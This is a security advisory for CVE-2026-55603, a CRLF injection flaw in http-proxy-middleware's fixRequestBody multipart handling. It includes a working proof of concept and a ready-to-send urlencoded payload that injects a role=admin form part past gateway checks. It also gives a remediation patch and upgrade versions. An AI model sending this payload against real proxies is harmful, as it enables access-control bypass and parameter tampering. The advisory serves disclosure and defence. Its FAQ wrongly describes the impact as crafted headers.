CVE-2026-55603: http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

Published Jun 18, 2026
·
Updated

Summary fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.boundary=(.)$/, '$1'); let str = ''; for (const [key, value] of Object.entries(data)) { str += --${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n; } }

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions All three must hold; this narrows real-world exposure and is the basis for AC:H: 1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input. 2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

> Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices). - File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

js // npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs) import { fixRequestBody } from 'http-proxy-middleware';

// req.body as a NON-multipart parser (express.urlencoded / express.json) yields it. // The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF: const req = { readableLength: 0, body: { user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--' }};

// Minimal stand-in for the outgoing proxy request; capture what gets written. const out = []; const proxyReq = { h: { 'content-type': 'multipart/form-data; boundary=BB' }, getHeader(n){ return this.h[n.toLowerCase()]; }, setHeader(n,v){ this.h[n.toLowerCase()] = v; }, write(d){ out.push(Buffer.from(d)); }, };

fixRequestBody(proxyReq, req); // library rebuilds the multipart body console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB Content-Disposition: form-data; name="user"

alice --BB Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys admin --BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.boundary=(.)$/, '$1'); const bad = /[\r\n]/; let str = ''; for (const [key, value] of Object.entries(data)) { const v = String(value); if (bad.test(key) || bad.test(v)) { throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value'); } str += --${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n; } } (Reject is preferable to silent stripping, to avoid masking malicious input.)

Other sources

http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.

MITRE

Affected Software

4 affected componentsFixes available
npm/http-proxy-middleware>=4.0.0<4.1.1
4.1.1
npm/http-proxy-middleware>=3.0.4<3.0.7
3.0.7
chimurai http-proxy-middleware>=3.0.4<3.0.7
chimurai http-proxy-middleware>=4.0.0<4.1.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 4.1.1
  2. Upgrade

    Upgrade npm/http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 3.0.7
  3. Upgrade

    Upgrade http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 3.0.7
  4. Upgrade

    Upgrade http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 4.1.1

Event History

Jun 18, 2026
Advisory Published
via GitHub·01:06 PM
Data Sourced
via GitHub·01:06 PM
DescriptionSeverityWeaknessAffected Software
Jun 22, 2026
CVE Published
via MITRE·08:07 PM
Data Sourced
via MITRE·08:07 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55603?

CVE-2026-55603 has a high severity rating of 7.5.

2

What type of vulnerability is CVE-2026-55603?

CVE-2026-55603 is classified as a CRLF Injection vulnerability.

3

How can I fix CVE-2026-55603?

To fix CVE-2026-55603, update the npm/http-proxy-middleware library to a patched version.

4

What are the potential impacts of CVE-2026-55603?

CVE-2026-55603 may allow an attacker to influence web application responses through crafted headers.

5

What software is affected by CVE-2026-55603?

CVE-2026-55603 affects the npm/http-proxy-middleware library.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203